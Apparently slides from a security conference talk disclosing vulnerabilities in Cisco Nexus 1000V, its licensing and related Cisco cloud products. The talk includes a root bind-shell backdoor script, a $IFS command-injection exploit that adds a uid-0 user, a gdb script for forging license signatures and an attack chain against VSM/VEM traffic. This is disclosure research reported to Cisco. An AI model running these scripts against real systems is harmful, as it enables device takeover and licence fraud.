Introduction

VIRTUAL NETWORKING IN THE CLOUD
virtualization is the abstraction of resources towards the resource consumer.

- An intermediate layer partitions the resource and presents it to the consumer via a standard interface.
- The interface can be used by the consumer just like regular hardware.

Vendors mean different things when they say “Virtualization”:

- i.e. abstraction of a CPU-RAM-Storage context
- i.e. emulation of hardware
- i.e. telling more than one routing table apart
Virtualization is (probably) older than you are

- 1967: First systems with IBM CP-67
- 1972: CP-67 supports virtual memory as well as VM-in-VM configuration
- 1977: Introduction of OpenVMS
  - Includes virtualization
- 1985: Virtual memory and “Protected Mode” Virtual Machine Monitor on Intel 80286 CPU
- 1998: VMware patent on virtualization
- 1999: VMware delivers first virtual platform
- 2001: VMware Server product
- 2003: Open Source hypervisor Xen
Wrong Assumptions

- The functional isolation that comes with virtualization causes people to think there is a general isolating property.
- VMMs primarily try to minimize trapping.
- Proper virtualization is equivalent to the physical system.
  - There are no new security boundaries.
  - Some natural security boundaries might, however, disappear on you.
Cisco Nexus 1000V

Diagram showing the integration of Cisco Nexus 1000V with vCenter and vSphere.
Into the Details

CISCO NEXUS 1000V FAMILY
Cisco Nexus Operating System (NX-OS)

- 4.2(1)SV1(5.1a) is what we looked at
- Montavista Linux based (2.6.10 Kernel)

NX-OS originally developed for MDS SAN Devices

- Device shell (/isan/bin/vsh) looks like IOS
- Everything runs as root
Nexus 1000V is the virtual switch
Nexus 1010 is the virtual router
  - Basically just Quagga (0.99.15)
    - With known vulnerabilities:
      - CVE-2012-0255: Error in BGP OPEN Message parsing Can Cause a Crash of Quagga bgpd
      - CVE-2012-0250: Error in OSPF parsing Network-LSA messages Can Cause a Crash of Quagga ospfd
      - CVE-2012-0249: Error in OSPF parsing LS-Update messages Can Cause a Crash of Quagga ospfd
Nexus Virtual Security Gateway is the virtual firewall
This being a VMware VM, we can boot from network or CDROM.

Partitions 5 and 6 of the virtual hard drive contain configuration files:
- Including Linux passwd and shadow.

The Linux configuration is in a TGZ ball of a TAR ball of some /etc files:
- There is a .cksum next to it (MD5 sum of this file).

We can add a user but not a root user:
- Some magic happens at boot time.

We can add a xinetd-service though.

So we can just add a shell user and gain root locally.

If you have two VSMs, now boot the other one, it will jailbreak itself for you.
#!/bin/bash
mkdir -p /cisco/5
mkdir -p /cisco/6
mount /dev/sda5 /cisco/5
mount /dev/sda6 /cisco/6
cd /cisco/5/ linux/
tar xvzf linux_cfg.tar.gz
tar xvzf linux_files.tar
echo 'admin2:x:2003:503::/var/home/admin:/bin/bash' >> etc/passwd
echo 'admin2:$1$6UVxCBym$jkVidjHAEYOjYdElDJjXd.:15827:0:99999:7:::' >> etc/shadow
cat > etc/xinetd.d/smtp << EOF
service smtp{
    flags = REUSE
    socket_type = stream
    protocol = tcp
    user = root
    wait = no
    server = /bin/bash
    disable = no
}
EOF
chmod 777 etc/xinetd.d/smtp
tar cvf linux_files.tar etc isan
tar cvzf linux_cfg.tar.gz linux_files.tar
md5sum linux_cfg.tar.gz >.cksum
rm -rf linux_files.tar etc isan
cp linux_cfg.tar.gz .cksum /cisco/6/ linux/
cd /
umount /cisco/5
umount /cisco/6
reboot
The N1kV requires license files to be installed
  - Uses the FlexNet Publisher License Manager
For compatibility reasons, we had to look at that implementation (more later)
One can easily grab all binaries from the system and disassemble them in IDA
We start with the shell, which implements the “install license” command
In /isan/bin/vshd, we find a number of external functions called licmgr_*

So, let's check the licmgr binary

There we find a function licmgr_validate_license

Yes, there are symbols
Let's see what that function does...

```
.text:0806102B  mov  eax, [ebp+arg_4] ; license file name
.text:0806102E  mov  [esp+10h], eax
.text:08061032  mov  dword ptr [esp+0Ch], offset aTzUtcIsanBinLi ;
                 "TZ=UTC /isan/bin/liccheck"
.text:0806103A  mov  dword ptr [esp+8], offset aSVS ; "%s -v %s"
.text:08061042  mov  dword ptr [esp+4], 50h ; maxlen
.text:0806104A  lea  eax, [ebp+command]
.text:0806104D  mov  [esp], eax ; s
.text:08061050  call  _snprintf
.text:08061055  lea  eax, [ebp+command]
.text:08061058  mov  [esp], eax ; command
.text:0806105B  call  _system
```
We just found a plain command injection in a license checking module (WTF..)

Let's try it:

c1000v# echo > $(halt).lic
c1000v# install license $(halt).lic
... (and no prompt comes back) ...
Jailbreaking N1kV
Greg Style

- Exploitation is a bit tricky though
  - The license file needs to exist
  - It may not contain {}, >, <, |, SPACE, and some more handy characters
- No spaces characters → no way to provide command arguments
  - {echo,foo} also won’t work (no curly braces)
- Luckily, we can use $IFS
  - Input field separator
  - In bash, $IFS == “ \t\n”
cd bootflash:
delete xxx
mkdir xxx
cd xxx

echo 'echo "magmakern:x:0:0::/var/home/admin:/bin/bash" >> /etc/passwd' > runme
echo "echo 'magmakern:$1$BsIW5Z1m$8G3jK99Brm2I46KcoDLOT0:15838:0:99999:7:::'>> /etc/shadow" >> runme

mkdir $(bash$IFS"$a"
cd $(bash$IFS"$a"
mkdir bootflash
cd bootflash
mkdir xxx
cd xxx
echo pwn3d > runme).lic

cd bootflash:
cd xxx
install license $(bash$IFS"$a"/bootflash/xxx/runme).lic
cd ..
delete xxx
The jailbreak script adds a user to the system

Use telnet to log in:

```
[greg@host ~]$ telnet -l magmakern 1.2.3.4
Trying 1.2.3.4...
Connected to cisco1000v.foo.tld.
Escape character is '^]'.
Password: industries
Linux# id
uid=0(root) gid=0(root)
Linux# uname -a
Linux c1000v 2.6.10 -bigphys_mvl401-pc_target #1 Thu Jul 7 05:29:47 PDT 2011 i686 GNU/Linux
Linux#
```
NX-OS has a number of functional issues:

- The “ethanalyzer” vsh command (actually just tshark) can write PCAP files. However, these are unreadable, since they are owned by root with mode 600.
- SCP to the virtual device fails: “Syntax error while parsing ‘scp –t 0’”
- OpenSSH (4.5p1) fails with too many authentication failures if you have an RSA, DSA and an ECDSA identity.
Licensing

- Why talk about licensing? CSCud01427!
  - VSG gets into unlicensed mode after 1.5.1/1.5.1a to 1.5.2 upgrade.
  - Cisco Virtual Security Gateway (VSG) for Cisco Nexus 1000V Series Switches, may be bypassed during VSM software upgrade due to the VSG license not being actively installed.
  - All the virtual Ethernet ports on the VEM that correspond to the virtual machines (VMs) are kept in pass-through mode, so that these virtual machines are not firewalled.
  - The VEM goes unlicensed mode for VSG, while VSM continues to show it licensed.
- We already know licmgr
  - Recall: to validate a license it calls /isan/bin/liccheck
    - Also: executes arbitrary commands
- What does a license file look like?

SERVER this_host ANY
VENDOR cisco
INCREMENT NEXUS1000V_LAN_SERVICES_PKG cisco 1.0 14-jan-2011 16 \ 
  HOSTID=VDH=XXXXXXXXXXXXXXXXXX \ 
  NOTICE="<LicFileID>YYYYYYYYYYYYYYYYYYY</LicFileID><LicLineID>1</LicLineID> \ 
  <PAK></PAK>" SIGN=1234567890ab
Licensing Workaround

- 6 bytes (12 hex chars) “signature“ value
  - Yes, that’s 48 bits. Not too much for an offline attack
  - But brute force is lame
- Let’s look at /isan/bin/liccheck
  -Hint: use a debugger to find the difference between a valid and an invalid license file
- After poking around a bit, we find an interesting function
sub_805C344 computes the expected signature of a license file and compares it to the actual signature.

It stores the expected signature value in memory!
Licensing Workaround

- We could now exercise our 1337 reversing skillz on sub_805C344
- Or we can just use a debugger to get the expected signature value out of memory
  - Copy over the binary and all needed libraries to your machine for convenience
- For those who paid attention: regarding the HOSTID field in the license: see /isan/etc/serialno 😊
```
[greg@host]$ cat generateSignature.sh

tmpfile=$(mktemp magmakern.XXXXXXXXX)
cat > $tmpfile << EOF
break *0x0805D4E7
r -v $1
p/x (char)*($edx+0)
p/x (char)*($edx+1)
p/x (char)*($edx+2)
p/x (char)*($edx+3)
p/x (char)*($edx+4)
p/x (char)*($edx+5)
quit
EOF

signature=$(LD_LIBRARY_PATH=lib gdb -x $tmpfile ./liccheck 2>/dev/null | grep '^\$'|\
tail -6)
rm $tmpfile

awk '{print substr($3,3) substr($6,3) substr($9,3) substr($12,3) substr($15,3)\substr($18,3);}' <<< $signature | tr '[:lower:]' '[:upper:]'
```
Nice Cloud You Have There

USING 1000V TO PWN THE CLOUD
The Famous Cisco Discovery Protocol

- CDP is everywhere in Cisco land
- VMware ESXi also receives CDP (net-cdp)
  - Using what appears to be Cisco’s code
- Parsing CDP was always a Cisco favorite

```
.text:00001E33 loc_1E33:
.text:00001E33  mov  eax, [esi+4]    ; EAX = first 4 bytes payload
.text:00001E36  cmp  eax, 40h        ; compare to 64
.text:00001E39  mov  [ebp+prefixCnt_var_C], eax
.text:00001E3C  ja   short returnMinus1
.text:00001E3E  dec  eax
.text:00001E3F  cmp  eax, 0FFFFFFFh ; if 0, return 0
.text:00001E42  jz   short return0
.text:00001E44  mov  ecx, edx    ; ECX = len
.text:00001E46  sub  ecx, 8     ; ECX -= 8
.text:00001E49  jz   short returnMinus1
.text:00001E4B  lea  edx, [esi+14h] ; EDX points to where
    ; this code expects the prefix
.text:00001E4E  mov  [ebp+prefixCnt_var_C], eax
.text:00001E51  jmp  short loc_1E5E
```
CVE-2013-1178: “Cisco NX-OS based devices contain multiple buffer overflow vulnerabilities in Cisco Discovery Protocol (CDP) subsystem. These vulnerabilities could allow an unauthenticated, adjacent attacker to execute arbitrary code with elevated privileges.”

Affected:
- UCS 6100/UCS 6200
- Nexus 7000/MDS 9000
- Nexus 5000/Nexus 5500
- Nexus 4000
- Nexus 3000
- Nexus 1000v
- CGR 1000
The VSM stores a set of “opaque data” at the vCenter server

The vCenter API is using SSL, for a reason

SSL uses server certificates, for a reason

Cisco’s VSM doesn’t check that certificate, for no apparent reason
VSM/VEM Communication

- VSMs and VEMs can communicate using either a Layer 2 or a Layer 3 configuration (STUN)
  - Layer 2 is using IEEE 802.3 broadcast frames
    - PID is 0x0132 (or PID 0x0120)
  - Layer 3 is using UDP Port 4785
- There is a control and a packet channel
  - The control channel is used to learn VEM MAC addresses as well as managing keep-alive beacons
  - The packet channel is used for forwarding specific protocols needed: CDP, IGMP, LACP
- The protocol used is completely undocumented and suspected to be applicable to other devices as well
### STUN Header

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0</td>
<td>8 Bit</td>
<td>Protocol Sub-Type (AIPC, INBAND, SPAN, FTP, HA_HB_1, HA_HB_2, ANY, BEACON)</td>
</tr>
<tr>
<td>0x1</td>
<td>1 Bit</td>
<td>Direction (From DP == VEM → VSM / From CP == VSM → VEM)</td>
</tr>
<tr>
<td>0x1</td>
<td>7 Bit</td>
<td>Format (STUN RAW or STUN Encrypted)</td>
</tr>
<tr>
<td>0x2</td>
<td>16 Bit</td>
<td>Domain-ID (configurable is from 1-4096)</td>
</tr>
<tr>
<td>0x4</td>
<td>4 Bit</td>
<td>isec-Version (always 1)</td>
</tr>
<tr>
<td>0x4</td>
<td>4 Bit</td>
<td>isec Key Version (always 1)</td>
</tr>
<tr>
<td>0x5</td>
<td>1 Bit</td>
<td>Encryption (0 = not encrypted, 1 = encrypted)</td>
</tr>
<tr>
<td>0x5</td>
<td>1 Bit</td>
<td>HMAC (0 = not present, 1 = present)</td>
</tr>
</tbody>
</table>

- Why exactly can the sender decide whether the communication is protected?
  - Yes, the receiver honors these fields!
The VEM drivers allow debugging to be enabled on the ESXi shell

- "vemlog" tool

When debugging STUN messages, values from the packet are used as index into a array of strings for debug output

- Of course, values may exceed array size

This being an out-of-bounds read, it’s not exploitable, AFAWK

- But it highlights a general design problem
VMware ESXi 5.0.0 [Releasebuild-469512 x86_64]

PF Exception 14 in world 2671: stun_thread IP 0x4180076db794 addr 0x300000001
cr0=0x80010039 cr2=0x300000001 cr3=0x83beb000 cr4=0x12c
frame=0x412209bc7a98 ip=0x4180076db794 err=0 rflags=0x10246
rax=0x8 rbx=0x7 rcx=0xffffffff
rdx=0x30 rbp=0x412209bc7c30 rsi=0x0
rdi=0x300000001 r8=0x0 r9=0x412209bc7c60
r10=0x0 r11=0x0 r12=0x418007f0aac4
r13=0x300000001 r14=0x4180076db030 r15=0x412209bc7c40

PCPU: 2671/stun_thread

Code start: 0x418007400000 VMK uptime: 0:22:46:54.269
0x412209bc7c30: [0x4180076db794] printf /With Func@vknkernel#novel+0x6ff stack: 0x410015b91bd1
0x412209bc7e50: [0x4180076dbd57] vsnpprintf@vknkernel#novel+0x36 stack: 0x3000000030
0x412209bc7d60: [0x418007ee30c0] lsf_log_print@com.vmware.vmkapi#v2_0_0_0+0x193 stack: 0x2b00000001
0x412209bc7e50: [0x418007efa60d] stun_process_pkt_rx@com.vmware.vmkapi#v2_0_0_0+0x1d1c stack: 0x41800
0x412209bc7f60: [0x418007efc4d] dalstun_process_message_q@com.vmware.vmkapi#v2_0_0_0+0x455 stack: 0x9bc
0x412209bc7fa0: [0x418007ef2c65] stun_thread@com.vmware.vmkapi#v2_0_0_0+0x364 stack: 0x412200000002b
0x412209bc7ff0: [0x418007ea4e03] vmkWorldFunc@vknkernel#novel+0x52 stack: 0x0
0x412209bc7ff8: [0x01<unknown> stack: 0x0

base fs=0x0 gs=0x41804000000 Kgs=0x0
VEMs register themselves with the VSM based on an ESXi host specific ID

- Uses the “Hardware UUID”
- Bad choice: VMware assigns this ID and apparently it’s not considered a secret

```
linux# slptool findattrs service:VMwareInfrastructure://esxi5.foo.tld (product="VMware ESXi 5.0.0 build-702118"), (hardwareUuuid="F49979D6-C5B3-C161-FC96-001999853110")
```

- Sending heartbeat messages with this UUID assigns the VEM to the attacker
The L3 form of VSM/VEM communication is just UDP.

Simply flooding the UDP port 4785 with any UDP packets on either end causes the VEM to be considered offline by the VSM.

- The heartbeat messages don’t make it through.
- VEMs can operate independently.
  - Dynamic or configuration based changes, however, no longer get propagated.
Cisco’s documentation says 128 Bit encryption, but nothing else

Turns out to be AES-CBC – somewhat
  - Using OpenSSL

The key and IV are hard coded in all binaries that need to take part in STUN

Key and IV are reinitialized for each frame received

The HMAC is SHA1, no secret

We can decrypt and encrypt traffic on the “virtual backplane” now
  - Requirement is that we can talk to the right virtual interfaces
Being able to receive (decrypt) and send (encrypt) STUN messages allows us to participate on the control channel

- We can take ports or entire port groups
- We get access to the management networks
  - Management network services expose much more vulnerable services
- We can MitM management network traffic
  - Most vSphere connections are SSL
  - Nobody has ever seen an actual PKI being used
    - All certificates are self-signed upon installation
- The only defense is a perfect L2 VLAN setup
  - L3 is almost un-defendable
  - VXLAN and other SDN magic requires L3
1. Compromise a web server in a virtual DMZ
   ➞ Non-administrative shell
2. Upload a script (e.g. PHP) for STUN L3 communication
3. Run VEM STUN L3 attack to VSM
   ➞ Takeover of port groups
   ➞ Configure new mappings
4. Configuration and use of a direct tunnel to internal or management network
But Cloud Is So Much More!

A GLIMPSE INTO OTHER CISCO CLOUD PRODUCTS
- Firmware 1.21.0
- Linux / MDS based
  - 2.6.18
  - gcc version 3.3.6
- Web management
- Perl scripts in /cgi-bin
  - 5 step obfuscated
  - Takes all of 30min to get rid of
- PMC-Sierra code
- Default: admin/admin

```bash
#!/usr/bin/perl -wmy $xhXxYf = q#t{61t$DedHqAtptf"g1V$8b,MWKVJV'GeG7wnna0n07G0X0L

[...]

aGjeRweejexnYnae7eaaenCeaaGeJerw7eGeGnxXnxXYGa
GnXWLG0nanjn0W0WRG0W%nxexYGCWXWNanjn0Gvejjw7W
neaeWneeEx0W0eanXavYGaGnXWLG0nanjn0W0WRG0WR
nXeYGCWxWWhGew7nanjGve0eewjw0wnW7eje0eReanXe
YG7WLWDWxWLWYnanjnn7DGjennw7DGjeGe07DGjew0
7DGjeGea7DGjennWnnnLn0GvWnW7WRweejw7WxeReGa
vnxXeYGCav';v$8b,MWKVJ~Vz+/-heCXWGDjn0vVYRa/
ReDnLa7Cyv0jXwXhV/;v$8b,MWKVJ0AG2VmgCXV('.*'H
$8b,MWK);m+tzZsBT:33S@VtR@@$8b,MWK};{"";$Ded
HqAtpt(coGA(ab
aFG($DedHqAXxh+))++++OmG((v:BoG(A(ab
aFG($DedHqAxv+h:x+))%)81)uAb
aFG($DedHqAx+85hx+))waAb
aFG($DedHqAxhXv+h:)waAb
aFG($DedHqAxv+h:vXlJhh);t$DedHqAtp~tFG/q9XNpYU
A5k?Owy8QHDr,C7se_GfgRvJ=1S.2dkjP61wmb+a:
uhlicoV3FeN140MxtBZ1T/H3hCBy2TqYLQgJDmX5ofdoZ8
Iuo6e:puie?jxwPK4=
rSaGlNk+Vr_tcb.AVs,7MW9F1Z;/;DEDHqAtpt$qpsDe
dHqA;BHA,e($DedHqA),;Tujo;t;#,;xhXxYf =~
s/^[([0-9]+)"\""\"x1/eg;xhXxYf =~
tr/vyfj_tSoR100=YF17a4+?6.82dL1B,gvHp:5cbmh92
U1zQsTDCGnNWKu3jMerxXkEgAwP /9qg2A
Cov67?7WtOy5Sb2ZmN5DcIHweOMn=83R+h0TF;ys люvGr
EUiwaPlkfpj,xZKd.4b/;$=$xhXxYf;undef($xhXxYf );eval;
```
FtR on NSS 2000

- At Phenoelit, FtR is the go-to-guy for Perl
  - Especially if it’s as beautiful as this
- However, that’s certainly not the only language he can read:
  “What do you think happens here for `ping cisco.com`?” – FtR

```php
<?php
require('/www/html/resources.inc');
script_dir = '/www/cgi-bin/';
header('P3P: CP="NOI ADM COM OUR STP IND"');
timeout = $_COOKIE['TIMEOUT'];
session = $_COOKIE['SID'];
if(!session && ($_REQUEST['username'] != '' && $_REQUEST['password']))
{
    exec(script_dir.'checkpassword.pl ""'.$_REQUEST['password'].'""'.$_REQUEST['username'].'""', $out, $err);
```
Cisco Prime LAN Management Solution
Virtual Appliance

CSCuc79779:

- Binds shells to TCP ports
- The shells run as root
- Connect and send any command
Our work with Cisco PSIRT goes back to 1998
- Greetings Gaus!
- PSIRT was, as always, great to work with
  - Greetings Joaquin!
- The issues were reported November 8, 2012
  - CSCud14840 Nexus 1000V VMS/VEM heartbeat DOS
  - CSCud14837 Nexus 1000V VSM to vCenter communication vulnerable to MITM attack
  - CSCud14832 Nexus 1000V UUID spoofing allows STUN protocol message injection
  - CSCud14825 Nexus 1000V can crash ESXi servers that are currently debugged for STUN
  - CSCud14710 Nexus 1000V VSM/VEM communication encryption bypass
  - CSCud14691 Nexus 1000V VSM/VEM communication encryption implementation problems
- The first fix (CSCud14825) is expected for June / July 2013
- The product is sold and used without any notice to customers
Cisco’s Design Department at Work?
Greg & FX would like to:

THANK YOU FOR YOUR TIME